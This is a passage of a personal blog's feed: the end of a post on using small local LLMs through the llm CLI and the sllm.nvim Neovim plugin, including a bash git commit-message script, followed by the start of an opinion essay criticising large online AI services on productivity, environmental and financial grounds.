z-shell&quot;&gt;||&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-break z-shell&quot;&gt;break&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-loop z-end z-shell&quot;&gt;done&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-end z-shell&quot;&gt;fi&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; open the commit message in your configured git text editor&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; since LLMs are not perfect, edits are often necessary&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;git&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; commit&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;F&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; cleanup&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;rm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;DIFF_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_ERRORS_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With some &lt;code&gt;bash&lt;&#x2F;code&gt; and “prompt engineering” (which is, really, trying random prompts until one sticks), you now have your own &lt;strong&gt;git commit writer&lt;&#x2F;strong&gt;. To have this, you didn’t have to send your data to anyone. Using a &lt;code&gt;1.7B&lt;&#x2F;code&gt; model on my laptop, it’s a little slow, it’s sometimes not accurate, but it works and is actually pretty useful if you follow good Git etiquette, i.e. small changes. Who needs ChatGPT?&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Two very cool features of &lt;code&gt;llm&lt;&#x2F;code&gt; I didn’t touch on are &lt;strong&gt;tools&lt;&#x2F;strong&gt; and &lt;strong&gt;plugins&lt;&#x2F;strong&gt;. I suggest you head over to the &lt;a href=&quot;https:&#x2F;&#x2F;llm.datasette.io&#x2F;en&#x2F;stable&#x2F;tools.html&quot;&gt;&lt;code&gt;llm&lt;&#x2F;code&gt; documentation&lt;&#x2F;a&gt; to learn more.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Tools&lt;&#x2F;strong&gt; allow you to give an LLM the possibility to call any custom Python function. &lt;strong&gt;Plugins&lt;&#x2F;strong&gt; are a more complete way of adding functionality to the &lt;code&gt;llm&lt;&#x2F;code&gt; CLI (including custom tools).&lt;&#x2F;p&gt;
&lt;p&gt;There’s &lt;a href=&quot;https:&#x2F;&#x2F;llm.datasette.io&#x2F;en&#x2F;stable&#x2F;plugins&#x2F;directory.html&quot;&gt;quite a few&lt;&#x2F;a&gt; plugins you can try, especially if &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;luebken&#x2F;llm-plugin-directory&quot;&gt;you’re feeling adventurous&lt;&#x2F;a&gt;. It’s also possible to &lt;a href=&quot;https:&#x2F;&#x2F;llm.datasette.io&#x2F;en&#x2F;stable&#x2F;plugins&#x2F;tutorial-model-plugin.html&quot;&gt;write your own&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;bring-it-to-my-editor&quot;&gt;Bring it to my editor&lt;&#x2F;h1&gt;
&lt;p&gt;I use Neovim as my IDE. There’s a bunch of Neovim plugins you can use for AI integration now (last time I checked, probably like 2 years ago, the landscape was very different). Of course, most of them focus on support for ChatGPT, Claude and other online services, but some like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;olimorris&#x2F;codecompanion.nvim&quot;&gt;CodeCompanion&lt;&#x2F;a&gt; also support Ollama.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve tried some of them (only if they support Ollama), and they felt a little “too much”: I’m a simple man with a simple GPU and simple needs. What I want is a way to ask LLMs questions, get their answers, share some context from the files I’m editing, and that’s pretty much it: I don’t want the LLM to replace stuff in my files, add changes to my current &lt;code&gt;git&lt;&#x2F;code&gt; commit or anything invasive like that.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve chosen the &lt;code&gt;llm&lt;&#x2F;code&gt; plugin as my AI CLI, and there’s a Neovim plugin for people like me: &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozanunal&#x2F;sllm.nvim&quot;&gt;sllm.nvim&lt;&#x2F;a&gt;. This plugin does a great job in staying out of the way, and uses &lt;code&gt;llm&lt;&#x2F;code&gt; under the hood. With it installed, I continue using LSP, non-AI auto-complete etc., a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;kickstart.nvim&quot;&gt;standard Neovim config&lt;&#x2F;a&gt;, but now also have the option to ask an LLM something if I choose to do so.&lt;&#x2F;p&gt;
&lt;p&gt;With LLMs directly integrated in my editor, I now ask them instead of using my web browser when I have basic questions. If I don’t remember the exact syntax to import an environment variable with Python, I can easily ask for a snippet:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;Asking LLM through sllm.nvim for the syntax to get an environment variable in Python&quot;src=&quot;sllm-nvim-env-var-python.webp&quot;&#x2F;&gt;
&lt;p&gt;Same for getting the last inserted row’s ID in an &lt;code&gt;sqlite3&lt;&#x2F;code&gt; database:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;Asking LLM through sllm.nvim for how to get last inserted row ID&quot;src=&quot;sllm-nvim-last-inserted-row.webp&quot;&#x2F;&gt;
&lt;p&gt;This has been great to replace some cumbersome Stack Overflow copy and paste, and again, small models like &lt;code&gt;yi-coder:1.5b&lt;&#x2F;code&gt; handle this &lt;strong&gt;perfectly fine&lt;&#x2F;strong&gt; and &lt;strong&gt;very fast&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;What I also found myself using a lot is the ability to select text and pass it to the LLM as context for a prompt. Let’s say I stumbled across a bit of Ansible (a server configuration tool), and want an explanation of what it does. I can select the piece of code of interest, and input a prompt:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;Passing Neovim&amp;#x27;s visual selection to llm with the sllm.nvim plugin&quot;src=&quot;sllm-nvim-visual-selection-prompt.webp&quot;&#x2F;&gt;
&lt;p&gt;&lt;code&gt;sllm.nvim&lt;&#x2F;code&gt; sends everything to the &lt;code&gt;llm&lt;&#x2F;code&gt; CLI, and you get the response:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;LLM output with visual selection as context&quot;src=&quot;sllm-nvim-response.webp&quot;&#x2F;&gt;
&lt;p&gt;This is useful in many scenarios, for example to write unit tests, to implement a new function by passing context from another one, etc.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sllm.nvim&lt;&#x2F;code&gt; has other ways of building a comprehensive context depending on your needs, for example by including the whole current file, the LSP diagnostics, the contents of a given URL, etc.&lt;&#x2F;p&gt;
&lt;p&gt;I won’t go into more details here, but you should definitely check out the &lt;code&gt;sllm.nvim&lt;&#x2F;code&gt; &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozanunal&#x2F;sllm.nvim&quot;&gt;GitHub repo&lt;&#x2F;a&gt; for more usage examples. The maintainer is nice to work with, so if you want to help out by opening issues or improving the plugin, don’t hesitate to do so!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;stop-using-big-bloated-ai&quot;&gt;Stop using big bloated AI&lt;&#x2F;h1&gt;
&lt;p&gt;I hope I shared some useful ways you can use LLMs even if your hardware isn’t new. But what I &lt;em&gt;really&lt;&#x2F;em&gt; hope is that I can convince some of you, that use online AI services today, to switch to a local setup.&lt;&#x2F;p&gt;
&lt;p&gt;My position of refusing to use ChatGPT and the like, especially as someone working with computers, is often met online by “this grumpy dude&#x2F;dudette wants to stay forever stuck in a terminal and never change its ways”. There are however &lt;strong&gt;a lot&lt;&#x2F;strong&gt; of (other) very valid reasons.&lt;&#x2F;p&gt;
&lt;p&gt;I go into more details on all this in this article’s second part, that &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;stop-using-big-bloated-ai&#x2F;&quot;&gt;you can read here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for making it this far! I would love to hear your thoughts on the matter. You can leave a comment down below or use my &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;contact&#x2F;&quot;&gt;contact form&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Stop using big, bloated AI tools</title>
        <published>2025-12-21T00:00:00+00:00</published>
        <updated>2025-12-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/stop-using-big-bloated-ai/"/>
        <id>https://zoug.fr/stop-using-big-bloated-ai/</id>
        
        <content type="html" xml:base="https://zoug.fr/stop-using-big-bloated-ai/">&lt;h1 id=&quot;foreword&quot;&gt;Foreword&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;The year is 2022&lt;&#x2F;strong&gt;. We are living in a world where someone, not a machine, probably wrote that article or tutorial you’re reading. Sure, the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dead_Internet_theory&quot;&gt;Dead Internet&lt;&#x2F;a&gt; theory is already gaining traction, but mostly, content online is created by people.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Transformers&lt;&#x2F;strong&gt; changed everything. In a 2017 research paper named &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Attention_Is_All_You_Need&quot;&gt;“Attention Is All You Need”&lt;&#x2F;a&gt;, currently cited &lt;strong&gt;207 000 times&lt;&#x2F;strong&gt; 🤯, eight scientists working for Google introduced this revolutionary new technique, and late-2022, &lt;strong&gt;ChatGPT&lt;&#x2F;strong&gt; (&lt;em&gt;GPT&lt;&#x2F;em&gt; for &lt;em&gt;Generative&lt;&#x2F;em&gt;, &lt;em&gt;Pre-trained&lt;&#x2F;em&gt; and &lt;em&gt;Transformer&lt;&#x2F;em&gt;) was launched. Today, NVIDIA is the most valued company on Earth, firms like OpenAI and Anthropic boast enormous valuations and make even bigger promises, and AI is being forced down our throats at every occasion.&lt;&#x2F;p&gt;
&lt;p&gt;I do not like generative AI the way it is used and pushed by our tech overlords, but I do think the underlying science, machine learning, can be &lt;strong&gt;very useful&lt;&#x2F;strong&gt; and &lt;strong&gt;not wasteful of resources&lt;&#x2F;strong&gt; if done right. Machine learning has been a thing for decades at this point: LLMs (for &lt;em&gt;Large Language Models&lt;&#x2F;em&gt;, i.e. AI chatbots) and the current transformers-induced AI boom is just one very specific way it can be used.&lt;&#x2F;p&gt;
&lt;p&gt;Like many, I’ve &lt;strong&gt;never used&lt;&#x2F;strong&gt; ChatGPT, Claude, Copilot, any of them. The argument “you should or you’ll get left behind” is utter nonsense: don’t take it from me, take it from people that &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;0ZUkQF6boNg?t=650&quot;&gt;actively use these tools everyday&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The only AI that is of remote interest to me is AI I can run locally, so I’ve been keeping an eye on places like the &lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;LocalLLaMA&#x2F;&quot;&gt;LocalLLaMA&lt;&#x2F;a&gt; subreddit and trying out &lt;strong&gt;small&lt;&#x2F;strong&gt; and &lt;strong&gt;local&lt;&#x2F;strong&gt; LLMs. These are what we call &lt;strong&gt;open weight&lt;&#x2F;strong&gt; models (not to be confused with truly &lt;strong&gt;open source&lt;&#x2F;strong&gt; models like &lt;a href=&quot;https:&#x2F;&#x2F;allenai.org&#x2F;olmo&quot;&gt;Olmo&lt;&#x2F;a&gt;). I want these models running on my laptop, not on a server, even if I control the server: this way, their fingerprint is kept very small (running them is no different than playing a video game).&lt;&#x2F;p&gt;
&lt;p&gt;In this article’s first part, we talked about ways to make use of small local LLMs, no matter how beefy your computer is, focusing on the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;simonw&#x2F;llm&quot;&gt;&lt;code&gt;llm&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; Python CLI and the Neovim &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozanunal&#x2F;sllm.nvim&quot;&gt;&lt;code&gt;sllm.nvim&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; plugin: you can &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;local-llms-potato-computers&#x2F;&quot;&gt;read it here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll now talk more about the true benefits these tools bring, the environmental costs of using online AI, and the AI bubble and its financial consequences.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;there-s-no-proof-you-re-better-off-using-it&quot;&gt;There’s no proof you’re better off using it&lt;&#x2F;h1&gt;
&lt;p&gt;You probably &lt;em&gt;feel like&lt;&#x2F;em&gt; you’re coding faster by letting AI handle most of it. The truth is, especially if you’re working on complicated or legacy code bases, &lt;a href=&quot;https:&#x2F;&#x2F;arstechnica.com&#x2F;ai&#x2F;2025&#x2F;07&#x2F;study-finds-ai-tools-made-open-source-software-developers-19-percent-slower&#x2F;&quot;&gt;this study says you may be &lt;em&gt;loosing&lt;&#x2F;em&gt; time&lt;&#x2F;a&gt; because of it:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;[The] developers believed that the AI tools had made them 20 percent faster, on average. In reality, though, the AI-aided tasks ended up being completed 19 percent &lt;em&gt;slower&lt;&#x2F;em&gt; than those completed without AI tools.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;After reviewing screen footage, the study’s authors (&lt;a href=&quot;https:&#x2F;&#x2F;metr.org&#x2F;about&quot;&gt;METR&lt;&#x2F;a&gt;) conclude that the time spent “reviewing AI outputs, prompting AI systems, and waiting for AI generations” completely offset the gains (and then some). They however feel “optimistic” about this, saying that improvements in AI tools could lead to future efficiency gains. You could also argue that their sample size is a little small (16 developers followed). For now though, no matter what the AI start-ups say, this is &lt;em&gt;at least some&lt;&#x2F;em&gt; proof of a &lt;strong&gt;net loss&lt;&#x2F;strong&gt; in efficiency, in &lt;strong&gt;real-life scenarios&lt;&#x2F;strong&gt;, in a recent and serious study.&lt;&#x2F;p&gt;
&lt;p&gt;You will however find other research with vastly different findings. Like this one (by Microsoft) that says developers complete tasks &lt;a href=&quot;https:&#x2F;&#x2F;arxiv.org&#x2F;pdf&#x2F;2302.06590&quot;&gt;56% faster&lt;&#x2F;a&gt; with AI (specifically their own product, GitHub Copilot). It was conducted in 2023, and in the trial they use as the study’s basis, “programmers were tasked and incentivized to implement an HTTP server in JavaScript &lt;strong&gt;as quickly as possible&lt;&#x2F;strong&gt;”. In my view, and unlike the study above, this is not really representative of real-life coding tasks.&lt;&#x2F;p&gt;
&lt;p&gt;Another study is the &lt;a href=&quot;https:&#x2F;&#x2F;cloud.google.com&#x2F;blog&#x2F;products&#x2F;ai-machine-learning&#x2F;announcing-the-2025-dora-report?hl=en&quot;&gt;2025 DORA report&lt;&#x2F;a&gt;: this one is from Google and (which is weird to see in research, to say the least) platinum, gold and silver &lt;a href=&quot;https:&#x2F;&#x2F;dora.dev&#x2F;research&#x2F;2025&#x2F;sponsors&#x2F;&quot;&gt;sponsors&lt;&#x2F;a&gt;. The report calls AI “the great amplifier”:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI accelerates software development, but that acceleration can expose weaknesses downstream. Without robust control systems, like strong automated testing, mature version control practices, and fast feedback loops, an increase in change volume leads to instability. Teams working in loosely coupled architectures with fast feedback loops see gains, while those constrained by tightly coupled systems and slow processes see little or no benefit.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I’m not saying AI never helps. What I am saying is that the benefits are &lt;strong&gt;unclear&lt;&#x2F;strong&gt;, even three years after ChatGPT came out, and billions upon billions invested. A couple weeks ago, &lt;a href=&quot;https:&#x2F;&#x2F;futurism.com&#x2F;artificial-intelligence&#x2F;microsoft-sell-ai-agents-disaster&quot;&gt;it was reported&lt;&#x2F;a&gt; that Microsoft’s Azure salespeople “are seriously struggling to meet some extremely ambitious sales growth targets, cutting quotas by up to 50 percent earlier this year”; so it seems customers are also questioning these benefits.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;it-s-one-more-way-we-destroy-our-planet&quot;&gt;It’s one more way we destroy our planet&lt;&#x2F;h1&gt;
&lt;p&gt;If you don’t care about CO₂ emissions and the state of the planet, you’re either a very cynical individual and do not care what &lt;em&gt;your&lt;&#x2F;em&gt; life and that of others will look like in ~30 years, or you don’t understand the problem and its consequences well enough. Sorry, that’s just the truth.&lt;&#x2F;p&gt;
&lt;p&gt;If you do care about ecology, it’s impossible to ignore the very tangible effects of “the cloud”. According to &lt;a href=&quot;https:&#x2F;&#x2F;www.iea.org&#x2F;energy-system&#x2F;buildings&#x2F;data-centres-and-data-transmission-networks&quot;&gt;the IEA&lt;&#x2F;a&gt;, in 2022 (so “before AI”):&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Estimated global data centre electricity consumption in 2022 was 240-340 TWh, or around &lt;strong&gt;1-1.3% of global final electricity demand&lt;&#x2F;strong&gt;. This excludes energy used for cryptocurrency mining, which was estimated to be around 110 TWh in 2022, accounting for &lt;strong&gt;0.4% of annual global electricity demand&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;AI is taking this to a whole other level: data centers today are of a completely different scale. Just &lt;a href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=Jf8EPSBZU7Y&quot;&gt;watch this promotional video&lt;&#x2F;a&gt; of Musk’s data center for Grok to get a sense of the sheer amount of computing power and resources poured into AI.&lt;&#x2F;p&gt;
&lt;p&gt;That data center contains around &lt;strong&gt;100 000 GPUs&lt;&#x2F;strong&gt;, and probably looks like a pocket calculator when compared to the &lt;strong&gt;Stargate&lt;&#x2F;strong&gt; project. Just look at it:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;Aerial view of the Stargate datacenter&quot;src=&quot;stargate-datacenter-aerial.webp&quot;&#x2F;&gt;
&lt;p&gt;Stargate is projected to have a total capacity of &lt;a href=&quot;https:&#x2F;&#x2F;arstechnica.com&#x2F;ai&#x2F;2025&#x2F;07&#x2F;openai-and-partners-are-building-a-massive-ai-data-center-in-texas&#x2F;&quot;&gt;5 GW of electricity&lt;&#x2F;a&gt;: that’s enough to power “4.4 million American homes”. This is not even mentioning the amount of fresh water needed for cooling (in Texas, of all places).&lt;&#x2F;p&gt;
&lt;p&gt;Before the current AI boom, &lt;strong&gt;Bitcoin&lt;&#x2F;strong&gt; was probably the most useless, most wasteful way we were using computers and GPUs specifically (and is still up there &lt;strong&gt;and growing&lt;&#x2F;strong&gt;, very unfortunately). We have millions of high-end, very powerful computers around the globe, “mining Bitcoin”, which is really trying random hashes until they find one that &lt;a href=&quot;https:&#x2F;&#x2F;learnmeabitcoin.com&#x2F;technical&#x2F;mining&#x2F;target&#x2F;&quot;&gt;start with a given number of 0’s&lt;&#x2F;a&gt;. It’s just useless brute-force, and we as a species are dedicating &lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;digiconomist.net&#x2F;bitcoin-energy-consumption&quot;&gt;114 million tons&lt;&#x2F;a&gt; of our global CO₂ emissions&lt;&#x2F;strong&gt; to this. I really can’t put into words how ridiculously wasteful it is.&lt;&#x2F;p&gt;
&lt;p&gt;Today, we have a new player in town, and &lt;a href=&quot;https:&#x2F;&#x2F;www.researchgate.net&#x2F;publication&#x2F;391986497_Artificial_intelligence_Supply_chain_constraints_and_energy_implications&quot;&gt;recent research suggest&lt;&#x2F;a&gt; it may already consume more than Bitcoin by the end of 2025. People are generating AI messages, images and videos at an unprecedented rate: we’re really only at the beginning of this.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;it-s-going-to-have-devastating-consequences&quot;&gt;It’s going to have devastating consequences&lt;&#x2F;h1&gt;
&lt;p&gt;I won’t talk here about the effects AI is having and will have in the future on society. Won’t talk about how it has thrown us into a world where we just can’t trust anything we see online anymore. Nor will I mention that it’s created &lt;a href=&quot;https:&#x2F;&#x2F;torrentfreak.com&#x2F;meta-torrented-over-81-tb-of-data-through-annas-archive-despite-few-seeders-250206&#x2F;&quot;&gt;based on large-scale theft&lt;&#x2F;a&gt;: “that genie is out of the bottle”, as &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;mfv0V1SxbNA?si=_zs07og5xYes3IBa&amp;amp;t=2015&quot;&gt;Linus Torvalds puts it&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I want to focus here on the AI bubble and what will happen when it’ll burst. Before getting into the bad stuff, some good will probably come out of it. My thoughts on the matter are largely summarized by this quote from a Cory Doctorow recent speech, and I highly recommend &lt;a href=&quot;https:&#x2F;&#x2F;pluralistic.net&#x2F;2025&#x2F;12&#x2F;05&#x2F;pop-that-bubble&#x2F;#u-washington&quot;&gt;you read the whole thing&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI is a bubble and it will burst. Most of the companies will fail. Most of the data-centers will be shuttered or sold for parts. So what will be left behind?&lt;&#x2F;p&gt;
&lt;p&gt;We’ll have a bunch of coders who are really good at applied statistics. We’ll have a lot of cheap GPUs, which’ll be good news for, say, effects artists and climate scientists, who’ll be able to buy that critical hardware at pennies on the dollar.&lt;&#x2F;p&gt;
&lt;p&gt;And we’ll have the open source models that run on commodity hardware, AI tools that can do a lot of useful stuff, like transcribing audio and video, describing images, summarizing documents, automating a lot of labor-intensive graphic editing, like removing backgrounds, or airbrushing passersby out of photos. These will run on our laptops and phones, and open source hackers will find ways to push them to do things their makers never dreamt of.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;As we’ve seen in this article’s first part, “open [weight] models that run on commodity hardware” can already be very useful. But what about the financial consequences?&lt;&#x2F;p&gt;
&lt;p&gt;We’re already seeing some troubling signs. Le Monde, a French newspaper, just published &lt;a href=&quot;https:&#x2F;&#x2F;www.lemonde.fr&#x2F;economie&#x2F;article&#x2F;2025&#x2F;12&#x2F;18&#x2F;oracle-symbole-du-degonflement-de-la-bulle-de-l-ia_6658498_3234.html&quot;&gt;an article&lt;&#x2F;a&gt; about the Oracle valuation, and calls it “a symbol of the AI bubble’s bursting”. You may remember that, for a short while, Larry Ellison was the richest man on Earth after the price of Oracle stock skyrocketed back in September: that was after the announcement of a &lt;strong&gt;300 billion&lt;&#x2F;strong&gt; (I mean, numbers no longer make any sense at this point) deal with OpenAI.&lt;&#x2F;p&gt;
&lt;p&gt;The share reached $345 at most. Today, that same stock is worth $191: &lt;strong&gt;that’s a 45% plunge&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Oracle &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;KW80Yjib7RA?si=BQZtB9MyGpTp4XyR&amp;amp;t=403&quot;&gt;doesn’t have customers, it has prisoners&lt;&#x2F;a&gt;. They’re a very profitable business, but at this point, their fate is entangled with that of NVIDIA, OpenAI, all of the big AI players: those &lt;em&gt;circular deals&lt;&#x2F;em&gt; people are worried about.&lt;&#x2F;p&gt;
&lt;p&gt;Two months ago, the Financial Times &lt;a href=&quot;https:&#x2F;&#x2F;www.ft.com&#x2F;content&#x2F;59baba74-c039-4fa7-9d63-b14f8b2bb9e2&quot;&gt;published this piece&lt;&#x2F;a&gt; about 10 different AI start-ups that, all together, make up a &lt;strong&gt;one trillion dollars&lt;&#x2F;strong&gt; valuation. That’s 1 000 billion, or 1 000 000 million dollars:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tech has endured boom and bust cycles. The dotcom crash in 2000 decimated a generation of internet companies, and VCs are still picking through the debris left after a software investment frenzy stoked by low interest rates came to a juddering halt in 2022.&lt;&#x2F;p&gt;
&lt;p&gt;But the current scale of investment is of a different magnitude. VCs invested $10.5bn into internet companies in 2000, roughly $20bn adjusted for inflation. In all of 2021, they put $135bn into software-as-a-service start-ups, according to PitchBook. VCs are on course to spend well over $200bn on AI companies this year.&lt;&#x2F;p&gt;
&lt;p&gt;[…]&lt;&#x2F;p&gt;
&lt;p&gt;The deals with chipmakers, like VC investment, are a bet that AI demand will continue its stratospheric growth, helped along by research breakthroughs and new products.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
